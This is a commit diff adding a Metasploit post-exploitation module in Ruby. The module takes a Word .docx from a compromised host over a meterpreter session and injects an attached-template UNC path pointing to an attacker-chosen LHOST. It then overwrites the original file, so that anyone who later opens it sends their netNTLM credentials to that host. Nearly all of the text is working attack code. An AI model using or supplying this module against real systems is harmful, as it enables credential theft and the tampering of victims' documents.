added word_unc_injector post module
parent
1e1cbd7445
commit
3883b0d0da
|
@ -0,0 +1,318 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://Metasploit.com/projects/Framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/post/file'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft Word UNC Path Injector',
|
||||||
|
'Description' => %q{
|
||||||
|
This module modifies a remote .docx file that will, upon opening, submit all
|
||||||
|
stored netNTLM credentials to a remote host. If emailed the receiver needs
|
||||||
|
to put the document in editing mode before the remote server will be
|
||||||
|
contacted. Preview and read-only mode do not work. Verified to work
|
||||||
|
with Microsoft Word 2003, 2007 and 2010 as of Januari 2013 date by using
|
||||||
|
auxiliary/server/capture/smb
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision: 1 $',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://jedicorp.com/?p=534' ],
|
||||||
|
],
|
||||||
|
'Platform' => ['win', 'linux', 'unix' ],
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'SphaZ <cyberphaz[at]gmail.com>'
|
||||||
|
]
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to','']),
|
||||||
|
OptString.new('FILE', [true, 'Remote file to inject UNC path into. ', '']),
|
||||||
|
OptPath.new('DSTPATH', [true, 'Path to put downloaded documents', '/tmp']),
|
||||||
|
OptBool.new('RMLOCAL', [true, 'Delete original file after upload.', 'False']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def manipulateFile
|
||||||
|
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
|
||||||
|
|
||||||
|
relsFileData = ""
|
||||||
|
relsFileData << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
|
||||||
|
relsFileData << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">"
|
||||||
|
relsFileData << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/"
|
||||||
|
relsFileData << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
|
||||||
|
|
||||||
|
fileContent = getFileFromDocx("word/settings.xml")
|
||||||
|
if fileContent.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#First, we want to know if the reference to the template already exists..if it does we dont need to manipulate it :)
|
||||||
|
if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil?
|
||||||
|
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
|
||||||
|
if unzipDocx.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
#and we put just our rels file into the docx
|
||||||
|
updateDocxFile("word/_rels/settings.xml.rels", relsFileData)
|
||||||
|
|
||||||
|
#ok we got through this, lets zip the file, overwriting the original in this case
|
||||||
|
begin
|
||||||
|
File.delete(@localFile)
|
||||||
|
if zipDocx(@tmpDir, @localFile).nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("Can't modify the original document :(")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
else
|
||||||
|
#now insert the reference to the file that will enable our malicious entry
|
||||||
|
insertOne = fileContent.index("<w:defaultTabStop")
|
||||||
|
|
||||||
|
if insertOne.nil?
|
||||||
|
insertTwo = fileContent.index("<w:hyphenationZone") # 2nd choice
|
||||||
|
if not insertTwo.nil?
|
||||||
|
vprint_status("HypenationZone found, we use this for insertion.")
|
||||||
|
fileContent.insert(insertTwo, ref )
|
||||||
|
end
|
||||||
|
else
|
||||||
|
vprint_status("DefaultTabStop found, we use this for insertion.")
|
||||||
|
fileContent.insert(insertOne, ref )
|
||||||
|
end
|
||||||
|
|
||||||
|
if insertOne.nil? && insertTwo.nil?
|
||||||
|
vprint_error("Cannot find insert point for reference into settings.xml")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
if unzipDocx.nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
#update the settings.xml file
|
||||||
|
if updateDocxFile("word/settings.xml",fileContent).nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
#and we put our rels file into the docx
|
||||||
|
if updateDocxFile("word/_rels/settings.xml.rels", relsFileData).nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#ok we got through this, lets zip the file, overwriting the tmp copy in this case
|
||||||
|
begin
|
||||||
|
File.delete(@localFile)
|
||||||
|
if zipDocx(@tmpDir, @localFile).nil?
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("Can't modify the original document :(")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
|
||||||
|
def zipDocx(inputPath, archive)
|
||||||
|
begin
|
||||||
|
#add the prepared files to the zip file
|
||||||
|
Zip::ZipFile.open(archive, 'wb') do |fileZip|
|
||||||
|
Dir["#{inputPath}/**/**"].reject{|f|f==archive}.each do |file|
|
||||||
|
fileZip.add(file.sub(inputPath+'/',''), file)
|
||||||
|
end
|
||||||
|
relsFile = inputPath + '/_rels/.rels'
|
||||||
|
fileZip.add(relsFile.sub(inputPath+'/',''), relsFile)
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("Error zipping file..")
|
||||||
|
begin
|
||||||
|
FileUtils.rm_rf(inputPath)
|
||||||
|
rescue
|
||||||
|
print_error("Cant even clean up my own mess, I give up")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
FileUtils.rm_rf(inputPath)
|
||||||
|
rescue
|
||||||
|
print_error("Cant even clean up my own mess, I give up")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
|
||||||
|
def unzipDocx
|
||||||
|
begin
|
||||||
|
vprint_status("tmpdir: #{@tmpDir}")
|
||||||
|
if not File.directory?(@tmpDir)
|
||||||
|
vprint_status("Damn rubyzip cant be relied upon, so we do it the hard way. Extracting #{@localFile}")
|
||||||
|
Zip::ZipFile.open(@localFile) do |fileZip|
|
||||||
|
fileZip.each do |entry|
|
||||||
|
if not entry.nil?
|
||||||
|
vprint_status("extracting entry: #{entry.name}")
|
||||||
|
end
|
||||||
|
fpath = File.join(@tmpDir, entry.name)
|
||||||
|
FileUtils.mkdir_p(File.dirname(fpath))
|
||||||
|
fileZip.extract(entry, fpath)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
vprint_status("files extracted from zip")
|
||||||
|
rescue Exception => ex
|
||||||
|
print_error("There was an error unzipping, is the file corrupt?")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
|
||||||
|
#used for updating the files inside the docx from a string
|
||||||
|
def updateDocxFile(fileString, content)
|
||||||
|
begin
|
||||||
|
#ok so now we unpacked the docx file, lets start to update the file we need to do
|
||||||
|
#does the file already exist?
|
||||||
|
archive = File.join(@tmpDir, fileString)
|
||||||
|
vprint_status("We need to look for: #{archive}")
|
||||||
|
if File.exists?(archive)
|
||||||
|
vprint_status("Deleting original file #{archive}")
|
||||||
|
File.delete(archive)
|
||||||
|
end
|
||||||
|
#now lets put OUR file there
|
||||||
|
File.open(archive, 'wb+') { |f| f.write(content) }
|
||||||
|
rescue Exception => ex
|
||||||
|
print_error("Extracting and manipulating the file went wrong.")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
return 0
|
||||||
|
end
|
||||||
|
|
||||||
|
def getFile
|
||||||
|
begin
|
||||||
|
data = ""
|
||||||
|
docxFile = session.fs.file.new("#{datastore['FILE']}", 'rb')
|
||||||
|
until docxFile.eof?
|
||||||
|
data << docxFile.read
|
||||||
|
end
|
||||||
|
|
||||||
|
if data == ""
|
||||||
|
print_error("File read is empty!")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE']))
|
||||||
|
lclFile = File.new(orgFilename, 'wb+')
|
||||||
|
lclFile.write(data)
|
||||||
|
lclFile.close
|
||||||
|
|
||||||
|
if not File.exists?(orgFilename)
|
||||||
|
print_error("Could not create file :(")
|
||||||
|
raise $!
|
||||||
|
else
|
||||||
|
vprint_status("Created local file #{orgFilename}")
|
||||||
|
end
|
||||||
|
|
||||||
|
#now lets make a copy for manipulation
|
||||||
|
tmpFile = File.join("#{orgFilename}.tmp")
|
||||||
|
FileUtils.cp(orgFilename, tmpFile)
|
||||||
|
vprint_status("Created file to inject into: #{tmpFile}")
|
||||||
|
return tmpFile
|
||||||
|
rescue
|
||||||
|
print_error("Failed to get file or create copy for #{filename} to #{orgFilename}: #{e.class} #{e}")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#read a file from .docx into a string
|
||||||
|
def getFileFromDocx(fileString)
|
||||||
|
begin
|
||||||
|
Zip::ZipFile.open(@localFile) do |zipFile|
|
||||||
|
zipFile.each do |f|
|
||||||
|
next unless f.to_s == fileString
|
||||||
|
return f.get_input_stream.read
|
||||||
|
end
|
||||||
|
end
|
||||||
|
print_error("Cant find #{fileString} inside the .docx")
|
||||||
|
return nil
|
||||||
|
rescue
|
||||||
|
print_error("Unknown error reading docx file.")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def run
|
||||||
|
#where do we unpack our file?
|
||||||
|
@tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/"
|
||||||
|
begin
|
||||||
|
if not session.fs.file.exists?(datastore['FILE'])
|
||||||
|
print_error("File not found.")
|
||||||
|
return
|
||||||
|
else
|
||||||
|
@localFile = getFile
|
||||||
|
if not @localFile.nil?
|
||||||
|
print_status("File found and data read, lets to do some magic...")
|
||||||
|
else
|
||||||
|
#since nil value is from the rescue and already prints info, we just exit the module here
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
rescue
|
||||||
|
print_error("Session error verifying file existance.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if manipulateFile.nil?
|
||||||
|
print_error("Error manipulating #{@localFile}!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status("UNC path injected into file, lets upload it now...")
|
||||||
|
#aight, now we need to upload and replace the file we just read
|
||||||
|
#now we upload our modified docx.tmp file, overwriting the original on the remote host
|
||||||
|
begin
|
||||||
|
print_status("Uploading injected file #{@localFile} to remote #{datastore['FILE']}...")
|
||||||
|
session.fs.file.upload_file(datastore['FILE'], @localFile)
|
||||||
|
vprint_good("File succesfully uploaded!")
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Error uploading file #{@localFile} to #{datastore['FILE']}: #{e.class} #{e}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
#cleanup phase
|
||||||
|
begin
|
||||||
|
vprint_status("Deleting local injected file #{@localFile}")
|
||||||
|
File.delete(@localFile)
|
||||||
|
rescue
|
||||||
|
print_error("Error deleting temporary file #{@localFile}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
#do we need to delete the original too?
|
||||||
|
if datastore['RMLOCAL']
|
||||||
|
begin
|
||||||
|
vprint_status("Deleting original file...")
|
||||||
|
orgFilename = File.join(datastore['DSTPATH'], session.fs.file.basename(datastore['FILE']) )
|
||||||
|
File.delete(orgFilename)
|
||||||
|
rescue
|
||||||
|
print_error("Error deleting #{session.fs.file.basename(datastore['FILE'])} from #{datastore['DSTPATH']}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
elsif not datastore['RMLOCAL']
|
||||||
|
print_status("!!Keeping original of #{datastore['FILE']} in #{datastore['DSTPATH']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_good("File #{datastore['FILE']} succesfully injected to point to #{datastore['LHOST']}")
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue